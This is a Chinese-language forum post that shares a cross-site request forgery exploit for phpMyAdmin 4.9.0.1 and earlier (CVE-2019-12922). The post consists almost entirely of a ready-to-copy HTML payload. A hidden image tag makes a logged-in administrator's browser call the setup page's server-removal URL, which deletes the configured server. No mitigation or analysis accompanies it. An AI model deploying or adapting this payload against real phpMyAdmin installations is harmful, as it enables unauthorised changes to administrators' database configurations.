请选择 进入手机版 | 继续访问电脑版
查看: 1029|回复: 0

phpMyAdmin 4.9.0.1 CSRF

[复制链接]
  • TA的每日心情

    1 小时前
  • 签到天数: 773 天

    [LV.10]以坛为家III

    发表于 2019-9-20 23:06:47 | 显示全部楼层 |阅读模式
    CVE-ID: CVE-2019-12922

    phpMyAdmin <= 4.9.0.1

    Exploit CSRF - Deleting main server
    [AppleScript] 纯文本查看 复制代码
    <p>Deleting Server 1</p>
    <img src="
    http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
    style="display:none;" />
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表